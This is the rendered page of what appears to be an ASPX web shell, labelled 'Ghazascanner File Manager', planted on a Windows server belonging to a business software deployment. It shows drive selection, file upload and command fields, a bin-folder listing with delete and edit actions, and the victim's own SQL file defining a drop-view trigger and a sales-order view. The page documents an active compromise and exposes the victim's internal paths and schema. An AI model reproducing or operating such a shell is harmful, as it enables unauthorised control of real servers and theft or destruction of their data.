ASPX Shell

Drive : C: E: F: G: H:

Current Path : E:/FTS/FTSServices/PFSService/bin/

Upload File :

CMD :

E:/FTS/FTSServices/PFSService/bin//preventdropview.txt

CREATE TRIGGER noViewDrop
ON DATABASE
FOR DROP_VIEW
AS
        PRINT 'Cannot drop view';
        ROLLBACK
go

DROP VIEW	SO_VIEW
GO
CREATE VIEW [dbo].[SO_VIEW]
AS
SELECT     dbo.SO.PR_KEY AS PR_KEY_CTU, dbo.SO.ORGANIZATION_ID, dbo.SO.TRAN_ID, dbo.SO.TRAN_NO, dbo.SO.TRAN_DATE, dbo.SO.SBO_TRAN_ID, 
                      dbo.SO.SBO_TRAN_NO, dbo.SO.IS_OVER_CREDIT_LIMIT, dbo.SO.APPROVE_DATE, dbo.SO.RELEASE_DATE, dbo.SO.DELIVERY_DATE, dbo.SO.EMPLOYEE_ID, 
                      dbo.SO.MARKET_ID, dbo.SO.SHIPPING_METHOD_ID, dbo.SO.VEHICLE_ID, dbo.SO.CURRENCY_ID, dbo.SO.EXCHANGE_RATE, dbo.SO.EXCHANGE_RATE_EXTRA, 
                      dbo.SO.PR_DETAIL_NAME, dbo.SO.CONTACT_PERSON, dbo.SO.ADDRESS, dbo.SO.TAX_FILE_NUMBER, dbo.SO.PAYMENT_METHOD_ID, 
                      dbo.SO.PAYMENT_TERM_ID, dbo.SO.COMMENTS, dbo.SO.STATUS, dbo.SO.USER_ID, dbo.SO.APPROVER_ID, dbo.DM_ITEM.UNIT_ID AS UNIT_ID_WH, 
                      dbo.DM_ITEM.UNIT_ID_EXTRA, dbo.DM_ITEM.ITEM_NAME, dbo.DM_ITEM.ITEM_CLASS_ID, dbo.DM_JOB.JOB_CLASS_ID, dbo.SO.DRIVER_NAME, 
                      dbo.DM_PR_DETAIL.PR_DETAIL_CLASS_ID, dbo.SO.DELIVER_ORGANIZATION_ID, dbo.SO_DETAIL.PR_KEY, dbo.SO_DETAIL.FR_KEY, dbo.SO_DETAIL.LIST_ORDER, 
                      dbo.SO_DETAIL.ITEM_SOURCE_ID, dbo.SO_DETAIL.WAREHOUSE_ID, dbo.SO_DETAIL.PR_DETAIL_ID, dbo.SO_DETAIL.JOB_ID, dbo.SO_DETAIL.ITEM_ID, 
                      dbo.SO_DETAIL.DESCRIPTION, dbo.SO_DETAIL.DESCRIPTION_ULS, dbo.SO_DETAIL.UNIT_ID, dbo.SO_DETAIL.QUANTITY, dbo.SO_DETAIL.QUANTITY_EXTRA, 
                      dbo.SO_DETAIL.QUANTITY_WH, dbo.SO_DETAIL.UNIT_PRICE_ORIG, dbo.SO_DETAIL.UNIT_PRICE, dbo.SO_DETAIL.UNIT_PRICE_WH, 
                      dbo.SO_DETAIL.AMOUNT_ORIG, dbo.SO_DETAIL.AMOUNT, dbo.SO_DETAIL.AMOUNT_EXTRA, dbo.SO_DETAIL.VAT_INCOME_AMOUNT_ORIG, 
                      dbo.SO_DETAIL.VAT_INCOME_AMOUNT, dbo.SO_DETAIL.VAT_INCOME_AMOUNT_EXTRA, dbo.SO_DETAIL.VAT_TAX_ID, dbo.SO_DETAIL.VAT_TAX_RATE, 
                      dbo.SO_DETAIL.VAT_TAX_AMOUNT, dbo.SO_DETAIL.VAT_TAX_AMOUNT_ORIG, dbo.SO_DETAIL.VAT_TAX_AMOUNT_EXTRA, dbo.SO_DETAIL.EXPORT_TAX_RATE, 
                      dbo.SO_DETAIL.EXPORT_TAX_AMOUNT, dbo.SO_DETAIL.EXPORT_TAX_AMOUNT_ORIG, dbo.SO_DETAIL.EXPORT_TAX_AMOUNT_EXTRA, 
                      dbo.SO_DETAIL.DISCOUNT_RATE, dbo.SO_DETAIL.DISCOUNT_AMOUNT, dbo.SO_DETAIL.DISCOUNT_AMOUNT_ORIG, dbo.SO_DETAIL.DISCOUNT_AMOUNT_EXTRA, 
                      dbo.SO_DETAIL.LUX_TAX_RATE, dbo.SO_DETAIL.LUX_TAX_AMOUNT, dbo.SO_DETAIL.LUX_TAX_AMOUNT_ORIG, dbo.SO_DETAIL.LUX_TAX_AMOUNT_EXTRA, 
                      dbo.SO_DETAIL.TOTAL_AMOUNT, dbo.SO_DETAIL.TOTAL_AMOUNT_ORIG, dbo.SO_DETAIL.TOTAL_AMOUNT_EXTRA, dbo.SO_DETAIL.PRICE_LEVEL_ID, 
                      dbo.SO_DETAIL.ITEM_OP_ID, dbo.SO_DETAIL.DELIVERY_TIME, dbo.SO_DETAIL.IS_SII, dbo.SO_DETAIL.IS_DELIVERED, dbo.SO_DETAIL.IS_INVOICED, 
                      dbo.SO_DETAIL.QUANTITY_INVOICE, dbo.SO_DETAIL.QUANTITY_DELIVERY, dbo.SO_DETAIL.QUANTITY_SII, dbo.DM_PR_DETAIL.PR_ACCOUNT_ID, 
                      dbo.DM_PR_DETAIL.PR_ACCOUNT_ID1,DM_PR_DETAIL.PR_DETAIL_NAME AS PR_DETAIL_NAME_DETAIL,
					  SO_DETAIL.ITEM_HEIGHT,SO_DETAIL.ITEM_WIDTH,SO_DETAIL.ITEM_DEPTH,SO_DETAIL.ITEM_SIZE,SO_DETAIL.ITEM_LOCATION,SO_DETAIL.ITEM_SERI_NO,SO_DETAIL.ITEM_SERI_NO1,SO_DETAIL.ITEM_SERI_NO2,SO_DETAIL.ITEM_GRADE_ID,SO_DETAIL.ITEM_GRADE1_ID,SO_DETAIL.ITEM_STATUS_ID
FROM         dbo.SO INNER JOIN
                      dbo.SO_DETAIL ON dbo.SO.PR_KEY = dbo.SO_DETAIL.FR_KEY LEFT OUTER JOIN
                      dbo.DM_PR_DETAIL ON dbo.SO_DETAIL.PR_DETAIL_ID = dbo.DM_PR_DETAIL.PR_DETAIL_ID LEFT OUTER JOIN
                      dbo.DM_JOB ON dbo.SO_DETAIL.JOB_ID = dbo.DM_JOB.JOB_ID LEFT OUTER JOIN
                      dbo.DM_ITEM ON dbo.SO_DETAIL.ITEM_ID = dbo.DM_ITEM.ITEM_ID

Name	Size	Actions
AccTemp.dst	19 KB	Del Edit
AccTemp.xml	186 KB	Del Edit
App_Code.compiled	0 KB	Del Edit
App_Code.dll	10 KB	Del Edit
bcParser.NET.dll	44 KB	Del Edit
CleanData.txt	255 KB	Del Edit
CleanData_191.txt	433 KB	Del Edit
DevComponents.DotNetBar2.dll	4640 KB	Del Edit
DevExpress.BonusSkins.v10.2.dll	6900 KB	Del Edit
DevExpress.Charts.v10.2.Core.dll	146 KB	Del Edit
DevExpress.CodeParser.v10.2.dll	1774 KB	Del Edit
DevExpress.Data.v10.2.dll	2572 KB	Del Edit
DevExpress.Design.v10.2.dll	71 KB	Del Edit
DevExpress.OfficeSkins.v10.2.dll	2620 KB	Del Edit
DevExpress.PivotGrid.v10.2.Core.dll	760 KB	Del Edit
DevExpress.RichEdit.v10.2.Core.dll	3348 KB	Del Edit
DevExpress.Utils.v10.2.dll	4092 KB	Del Edit
DevExpress.XtraBars.v10.2.Design.dll	332 KB	Del Edit
DevExpress.XtraBars.v10.2.dll	1872 KB	Del Edit
DevExpress.XtraCharts.v10.2.dll	6600 KB	Del Edit
DevExpress.XtraCharts.v10.2.Extensions.dll	28 KB	Del Edit
DevExpress.XtraEditors.v10.2.Design.dll	232 KB	Del Edit
DevExpress.XtraEditors.v10.2.dll	1744 KB	Del Edit
DevExpress.XtraGrid.v10.2.Design.dll	356 KB	Del Edit
DevExpress.XtraGrid.v10.2.dll	1804 KB	Del Edit
DevExpress.XtraLayout.v10.2.dll	712 KB	Del Edit
DevExpress.XtraNavBar.v10.2.Design.dll	80 KB	Del Edit
DevExpress.XtraNavBar.v10.2.dll	308 KB	Del Edit
DevExpress.XtraPivotGrid.v10.2.dll	496 KB	Del Edit
DevExpress.XtraPrinting.v10.2.Design.dll	64 KB	Del Edit
DevExpress.XtraPrinting.v10.2.dll	660 KB	Del Edit
DevExpress.XtraReports.v10.2.Design.dll	168 KB	Del Edit
DevExpress.XtraReports.v10.2.dll	996 KB	Del Edit
DevExpress.XtraReports.v10.2.Extensions.dll	2158 KB	Del Edit
DevExpress.XtraRichEdit.v10.2.dll	1148 KB	Del Edit
DevExpress.XtraTreeList.v10.2.Design.dll	80 KB	Del Edit
DevExpress.XtraTreeList.v10.2.dll	600 KB	Del Edit
DevExpress.XtraVerticalGrid.v10.2.dll	508 KB	Del Edit
EPPlus.dll	1221 KB	Del Edit
FTS.AccBusiness.dll	1828 KB	Del Edit
FTS.AccReport.dll	2820 KB	Del Edit
FTS.Base.dll	2276 KB	Del Edit
FTS.Base.XmlSerializers.dll	51 KB	Del Edit
FTS.Global.dll	524 KB	Del Edit
FTS.HotelBusiness.dll	313 KB	Del Edit
FTS.HotelReport.dll	67 KB	Del Edit
FTS.POSBusiness.dll	371 KB	Del Edit
FTS.POSReport.dll	157 KB	Del Edit
FTS.ReportBase.dll	1320 KB	Del Edit
FTS.ShareBusiness.dll	456 KB	Del Edit
FTS.ShareUI.dll	1659 KB	Del Edit
FTS.Tools.dll	392 KB	Del Edit
FTS.TransportBusiness.dll	66 KB	Del Edit
FTS.TransportReport.dll	30 KB	Del Edit
FTS.TransportUI.dll	95 KB	Del Edit
ICSharpCode.SharpZipLib.dll	140 KB	Del Edit
Interop.WMPLib.dll	323 KB	Del Edit
itextsharp.dll	3344 KB	Del Edit
Loader.exe.config	0 KB	Del Edit
log4net.dll	260 KB	Del Edit
Microsoft.Practices.EnterpriseLibrary.Common.dll	104 KB	Del Edit
Microsoft.Practices.EnterpriseLibrary.Common.xml	242 KB	Del Edit
Microsoft.Practices.EnterpriseLibrary.Data.dll	176 KB	Del Edit
Microsoft.Practices.EnterpriseLibrary.Data.xml	218 KB	Del Edit
Microsoft.Practices.EnterpriseLibrary.Global.dll	63 KB	Del Edit
Microsoft.Practices.ObjectBuilder.dll	56 KB	Del Edit
Microsoft.Practices.ObjectBuilder.xml	139 KB	Del Edit
Newtonsoft.Json.dll	492 KB	Del Edit
preventdropview.txt	3 KB	Del Edit
Scripts.txt	388 KB	Del Edit
SysCacheCallPhone.vdb3	16 KB	Del Edit
SysCacheCallPhone.vdc3	2 KB	Del Edit
TmpSysCacheVista.vdc3	2 KB	Del Edit
Update.dst	13 KB	Del Edit
Views.txt	381 KB	Del Edit
VistaDB.NET20.dll	752 KB	Del Edit
ZylSerialPort.dll	35 KB	Del Edit

M4dki773r_2019runbot

Ghazascanner File Manager